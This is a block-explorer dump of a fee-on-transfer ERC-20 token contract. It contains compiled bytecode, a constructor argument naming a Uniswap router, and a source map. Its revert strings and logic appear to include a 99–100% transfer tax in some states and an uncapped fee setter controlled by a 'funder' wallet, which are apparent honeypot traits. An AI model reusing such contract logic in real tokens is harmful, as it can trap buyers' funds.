ffffffffffffffffffffffffffff160217905550600160086000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461134b906130d2565b80601f0160208091040260200160405190810160405280929190818152602001828054611377906130d2565b80156113c45780601f10611399576101008083540402835291602001916113c4565b820191906000526020600020905b8154815290600101906020018083116113a757829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145390612fb2565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611578338484611c0c565b905092915050565b60165481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163190612fb2565b60405180910390fd5b8260098190555081600a8190555061165b828461204390919063ffffffff16565b600b8190555080600c819055506003600c546116779190613072565b600b54106116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b1906131ef565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174490612fb2565b60405180910390fd5b82601460006101000a81548160ff0219169083151502179055508160158190555080601681905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806118d057503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61190f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119069061314f565b60405180910390fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e90612fb2565b60405180910390fd5b6000601354036119bd57436013819055506119c6565b60006013819055505b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4d90612fb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abc9061325b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be79190612bc3565b60405180910390fd5b5060008385611bff919061327b565b9050809150509392505050565b600080611c1884610fd2565b90506004548382611c29919061316f565b111580611c7f5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb590613321565b60405180910390fd5b611cc66120a1565b8015611d1f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611d2d57611d2c612178565b5b60006298968084611d3e9190613072565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611de75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611dfb578084611df8919061327b565b93505b611e84846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba89092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611ed387876126f3565b611edd5784611f39565b611f388786601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146127a1565b5b9050611f8d81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161202d9190612b18565b60405180910390a3600193505050509392505050565b6000808284612052919061316f565b905083811015612097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208e9061338d565b60405180910390fd5b8091505092915050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561210e5750601760009054906101000a900460ff16155b80156121265750601460009054906101000a900460ff165b80156121735750601554600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601760006101000a81548160ff0219169083151502179055506000601654600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156121e857601654905061222b565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000612269600261225b600b5461224d6009548761293090919063ffffffff16565b6129aa90919063ffffffff16565b6129aa90919063ffffffff16565b9050600061228082846129f490919063ffffffff16565b90506000600267ffffffffffffffff81111561229f5761229e6133ad565b5b6040519080825280602002602001820160405280156122cd5781602001602082028036833780820191505090505b50905030816000815181106122e5576122e46133dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561238c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b09190613420565b816001815181106123c4576123c36133dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612462959493929190613546565b600060405180830381600087803b15801561247c57600080fd5b505af1158015612490573d6000803e3d6000fd5b50505050600047905060006124c56124b460026009546129aa90919063ffffffff16565b600b546129f490919063ffffffff16565b9050600061250360026124f5846124e76009548861293090919063ffffffff16565b6129aa90919063ffffffff16565b6129aa90919063ffffffff16565b9050600061251a82856129f490919063ffffffff16565b905060008111156125bc576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051612571906135d1565b600060405180830381858888f193505050503d80600081146125af576040519150601f19603f3d011682016040523d82523d6000602084013e6125b4565b606091505b505080915050505b60008711156126ce57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161264e969594939291906135e6565b60606040518083038185885af115801561266c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612691919061365c565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516126c59291906136af565b60405180910390a15b50505050505050506000601760006101000a81548160ff021916908315150217905550565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127995750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826127b05760646127b4565b600d545b9050600080601354116127c85760636127cc565b600b545b905060006128156064600c546127e29190613001565b612807856127f9868b61293090919063ffffffff16565b61293090919063ffffffff16565b6129aa90919063ffffffff16565b905061286981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204390919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129099190612b18565b60405180910390a361292481876129f490919063ffffffff16565b93505050509392505050565b600080830361294257600090506129a4565b600082846129509190613001565b905082848261295f9190613072565b1461299f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129969061374a565b60405180910390fd5b809150505b92915050565b60006129ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a3e565b905092915050565b6000612a3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ba8565b905092915050565b60008083118290612a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7c9190612bc3565b60405180910390fd5b5060008385612a949190613072565b9050809150509392505050565b600080fd5b6000819050919050565b612ab981612aa6565b8114612ac457600080fd5b50565b600081359050612ad681612ab0565b92915050565b600060208284031215612af257612af1612aa1565b5b6000612b0084828501612ac7565b91505092915050565b612b1281612aa6565b82525050565b6000602082019050612b2d6000830184612b09565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b6d578082015181840152602081019050612b52565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b9582612b33565b612b9f8185612b3e565b9350612baf818560208601612b4f565b612bb881612b79565b840191505092915050565b60006020820190508181036000830152612bdd8184612b8a565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b60008060408385031215612c5a57612c59612aa1565b5b6000612c6885828601612c2e565b9250506020612c7985828601612ac7565b9150509250929050565b60008115159050919050565b612c9881612c83565b82525050565b6000602082019050612cb36000830184612c8f565b92915050565b612cc281612c83565b8114612ccd57600080fd5b50565b600081359050612cdf81612cb9565b92915050565b60008060408385031215612cfc57612cfb612aa1565b5b6000612d0a85828601612c2e565b9250506020612d1b85828601612cd0565b9150509250929050565b600080600060608486031215612d3e57612d3d612aa1565b5b6000612d4c86828701612c2e565b9350506020612d5d86828701612c2e565b9250506040612d6e86828701612ac7565b9150509250925092565b600060ff82169050919050565b612d8e81612d78565b82525050565b6000602082019050612da96000830184612d85565b92915050565b600060208284031215612dc557612dc4612aa1565b5b6000612dd384828501612c2e565b91505092915050565b612de581612c05565b82525050565b6000602082019050612e006000830184612ddc565b92915050565b60008060408385031215612e1d57612e1c612aa1565b5b6000612e2b85828601612c2e565b9250506020612e3c85828601612c2e565b9150509250929050565b600080600060608486031215612e5f57612e5e612aa1565b5b6000612e6d86828701612ac7565b9350506020612e7e86828701612ac7565b9250506040612e8f86828701612ac7565b9150509250925092565b600080600060608486031215612eb257612eb1612aa1565b5b6000612ec086828701612cd0565b9350506020612ed186828701612ac7565b9250506040612ee286828701612ac7565b9150509250925092565b6000819050919050565b6000612f11612f0c612f0784612be5565b612eec565b612be5565b9050919050565b6000612f2382612ef6565b9050919050565b6000612f3582612f18565b9050919050565b612f4581612f2a565b82525050565b6000602082019050612f606000830184612f3c565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612f9c600683612b3e565b9150612fa782612f66565b602082019050919050565b60006020820190508181036000830152612fcb81612f8f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061300c82612aa6565b915061301783612aa6565b925082820261302581612aa6565b9150828204841483151761303c5761303b612fd2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061307d82612aa6565b915061308883612aa6565b92508261309857613097613043565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806130ea57607f821691505b6020821081036130fd576130fc6130a3565b5b50919050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b6000613139600783612b3e565b915061314482613103565b602082019050919050565b600060208201905081810360008301526131688161312c565b9050919050565b600061317a82612aa6565b915061318583612aa6565b925082820190508082111561319d5761319c612fd2565b5b92915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b60006131d9601c83612b3e565b91506131e4826131a3565b602082019050919050565b60006020820190508181036000830152613208816131cc565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000613245600883612b3e565b91506132508261320f565b602082019050919050565b6000602082019050818103600083015261327481613238565b9050919050565b600061328682612aa6565b915061329183612aa6565b92508282039050818111156132a9576132a8612fd2565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b600061330b603e83612b3e565b9150613316826132af565b604082019050919050565b6000602082019050818103600083015261333a816132fe565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613377601b83612b3e565b915061338282613341565b602082019050919050565b600060208201905081810360008301526133a68161336a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061341a81612c17565b92915050565b60006020828403121561343657613435612aa1565b5b60006134448482850161340b565b91505092915050565b6000819050919050565b600061347261346d6134688461344d565b612eec565b612aa6565b9050919050565b61348281613457565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134bd81612c05565b82525050565b60006134cf83836134b4565b60208301905092915050565b6000602082019050919050565b60006134f382613488565b6134fd8185613493565b9350613508836134a4565b8060005b8381101561353957815161352088826134c3565b975061352b836134db565b92505060018101905061350c565b5085935050505092915050565b600060a08201905061355b6000830188612b09565b6135686020830187613479565b818103604083015261357a81866134e8565b90506135896060830185612ddc565b6135966080830184612b09565b9695505050505050565b600081905092915050565b50565b60006135bb6000836135a0565b91506135c6826135ab565b600082019050919050565b60006135dc826135ae565b9150819050919050565b600060c0820190506135fb6000830189612ddc565b6136086020830188612b09565b6136156040830187613479565b6136226060830186613479565b61362f6080830185612ddc565b61363c60a0830184612b09565b979650505050505050565b60008151905061365681612ab0565b92915050565b60008060006060848603121561367557613674612aa1565b5b600061368386828701613647565b935050602061369486828701613647565b92505060406136a586828701613647565b9150509250925092565b60006040820190506136c46000830185612b09565b6136d16020830184612b09565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613734602183612b3e565b915061373f826136d8565b604082019050919050565b6000602082019050818103600083015261376381613727565b905091905056fea2646970667358221220b111680ac27f4763d595a29ce3b9a665ffa85ab721b6fa72252440a5bbc96c0064736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routeraddr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

4594:9823:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8268:181;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5616:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6938:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7374:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12560:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5261:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6668:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5194:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8457:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7892:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6762:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7598:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12428:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5579:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7024:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2724:148;;;;;;;;;;;;;:::i;:::-;;10635:220;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4835:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2538:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6848:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12141:279;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5515:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7728:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5677:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5352:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11764:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11284:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7135:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5395:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11068:208;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11572:184;;;;;;;;;;;;;:::i;:::-;;2880:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5476:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8268:181;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;8436:5:::1;8407:24;8392:12;;:39;;;;:::i;:::-;8391:50;;;;:::i;:::-;8373:15;:68;;;;8268:181:::0;:::o;5616:54::-;;;;:::o;6938:80::-;6986:13;7010:5;7003:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6938:80;:::o;7374:216::-;7449:4;7501:6;7466:11;:23;7478:10;7466:23;;;;;;;;;;;;;;;:32;7490:7;7466:32;;;;;;;;;;;;;;;:41;;;;7544:7;7523:37;;7532:10;7523:37;;;7553:6;7523:37;;;;;;:::i;:::-;;;;;;;;7578:4;7571:11;;7374:216;;;;:::o;12560:242::-;12644:10;12620:34;;:20;;;;;;;;;;;:34;;;:66;;;;12676:10;12658:28;;:14;;;;;;;;;;;:28;;;12620:66;12612:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;12733:6;12708:9;:21;12718:10;12708:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;12775:10;12754:40;;12763:10;12754:40;;;12787:6;12754:40;;;;;;:::i;:::-;;;;;;;;12560:242;:::o;5261:36::-;;;;:::o;6668:88::-;6723:7;6741:12;;6734:19;;6668:88;:::o;5194:60::-;;;;:::o;8457:135::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;8578:6:::1;8548:19;:27;8568:6;8548:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;8457:135:::0;;:::o;7892:368::-;7992:4;8047:17;8012:11;:19;8024:6;8012:19;;;;;;;;;;;;;;;:31;8032:10;8012:31;;;;;;;;;;;;;;;;:52;8009:186;;8114:69;8150:6;8114:69;;;;;;;;;;;;;;;;;:11;:19;8126:6;8114:19;;;;;;;;;;;;;;;:31;8134:10;8114:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;8080:11;:19;8092:6;8080:19;;;;;;;;;;;;;;;:31;8100:10;8080:31;;;;;;;;;;;;;;;:103;;;;8009:186;8212:40;8226:6;8234:9;8245:6;8212:13;:40::i;:::-;8205:47;;7892:368;;;;;:::o;6762:80::-;6814:5;4772:1;6823:16;;6762:80;:::o;7598:122::-;7653:4;7677:35;7685:7;7694:17;7677:7;:35::i;:::-;7670:42;;7598:122;;;:::o;12428:120::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;12534:6:::1;12512:11;:19;12524:6;12512:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;12428:120:::0;;:::o;5579:30::-;;;;;;;;;;;;;:::o;7024:105::-;7090:7;7108:9;:18;7118:7;7108:18;;;;;;;;;;;;;;;;7101:25;;7024:105;;;:::o;2724:148::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2831:1:::1;2794:40;;2815:6;::::0;::::1;;;;;;;;2794:40;;;;;;;;;;;;2862:1;2845:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2724:148::o:0;10635:220::-;10724:10;10700:34;;:20;;;;;;;;;;;:34;;;:66;;;;10756:10;10738:28;;:14;;;;;;;;;;;:28;;;10700:66;10692:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;10796:8;10789:4;;:15;;;;;;;;;;;;;;;;;;10843:4;10815:19;:25;10835:4;;;;;;;;;;;10815:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;10635:220;:::o;4835:55::-;;;;:::o;2538:79::-;2576:7;2603:6;;;;;;;;;;;2596:13;;2538:79;:::o;6848:84::-;6898:13;6922:7;6915:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6848:84;:::o;12141:279::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;12284:22:::1;12260:21;;:46;;;;;;;;;;;;;;;;;;12340:21;12317:20;;:44;;;;;;;;;;;;;;;;;;12397:14;;;;;;;;;;;12372;;:40;;;;;;;;;;;;;;;;;;12141:279:::0;;:::o;5515:19::-;;;;;;;;;;;;;:::o;7728:156::-;7808:4;7832:44;7846:10;7858:9;7869:6;7832:13;:44::i;:::-;7825:51;;7728:156;;;;:::o;5677:56::-;;;;:::o;5352:36::-;;;;;;;;;;;;;:::o;11764:369::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11897:13:::1;11882:12;:28;;;;11936:13;11921:12;:28;;;;11971:32;11989:13;11971;:17;;:32;;;;:::i;:::-;11960:8;:43;;;;12031:15;12014:14;:32;;;;12091:1;12076:14;;:16;;;;:::i;:::-;12065:8;;:27;12057:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11764:369:::0;;;:::o;11284:243::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11423:8:::1;11409:11;;:22;;;;;;;;;;;;;;;;;;11458:14;11442:13;:30;;;;11502:17;11483:16;:36;;;;11284:243:::0;;;:::o;7135:133::-;7219:7;7237:11;:19;7249:6;7237:19;;;;;;;;;;;;;;;:28;7257:7;7237:28;;;;;;;;;;;;;;;;7230:35;;7135:133;;;;:::o;5395:35::-;;;;;;;;;;;;;:::o;11068:208::-;11168:10;11144:34;;:20;;;;;;;;;;;:34;;;:66;;;;11200:10;11182:28;;:14;;;;;;;;;;;:28;;;11144:66;11136:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;11250:10;11233:14;:27;;;;11068:208;:::o;11572:184::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11644:1:::1;11627:13;;:18:::0;11624:125:::1;;11677:12;11661:13;:28;;;;11624:125;;;11736:1;11720:13;:17;;;;11624:125;11572:184::o:0;2880:214::-;2675:10;2665:20;;:6;;;;;;;;;;:20;;;2657:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2989:1:::1;2969:22;;:8;:22;;::::0;2961:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3049:8;3020:38;;3041:6;::::0;::::1;;;;;;;;3020:38;;;;;;;;;;;;3078:8;3069:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2880:214:::0;:::o;5476:32::-;;;;;;;;;;;;;:::o;582:190::-;668:7;701:1;696;:6;;704:12;688:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;728:9;744:1;740;:5;;;;:::i;:::-;728:17;;763:1;756:8;;;582:190;;;;;:::o;8600:999::-;8692:4;8752:18;8773:20;8783:9;8773;:20::i;:::-;8752:41;;8837:15;;8826:6;8813:10;:19;;;;:::i;:::-;8812:40;;:74;;;;8856:19;:30;8876:9;8856:30;;;;;;;;;;;;;;;;;;;;;;;;;8812:74;8804:148;;;;;;;;;;;;:::i;:::-;;;;;;;;;8992:16;:14;:16::i;:::-;:37;;;;;9025:4;;;;;;;;;;;9012:17;;:9;:17;;;8992:37;8989:54;;;9031:10;:8;:10::i;:::-;8989:54;9082:21;9115:8;9106:6;:17;;;;:::i;:::-;9082:41;;9138:11;:19;9150:6;9138:19;;;;;;;;;;;;;;;;;;;;;;;;;9137:20;:41;;;;;9174:4;;;;;;;;;;;9161:17;;:9;:17;;;9137:41;9134:95;;;9204:13;9194:23;;;;;:::i;:::-;;;9134:95;9259:53;9281:6;9259:53;;;;;;;;;;;;;;;;;:9;:17;9269:6;9259:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9239:9;:17;9249:6;9239:17;;;;;;;;;;;;;;;:73;;;;9323:22;9348:31;9362:6;9369:9;9348:13;:31::i;:::-;:86;;9428:6;9348:86;;;9382:43;9390:6;9398;9419:4;;;;;;;;;;;9406:17;;:9;:17;;;9382:7;:43::i;:::-;9348:86;9323:111;;9468:40;9493:14;9468:9;:20;9478:9;9468:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;9445:9;:20;9455:9;9445:20;;;;;;;;;;;;;;;:63;;;;9543:9;9526:43;;9535:6;9526:43;;;9554:14;9526:43;;;;;;:::i;:::-;;;;;;;;9587:4;9580:11;;;;;8600:999;;;;;:::o;255:179::-;313:7;333:9;349:1;345;:5;;;;:::i;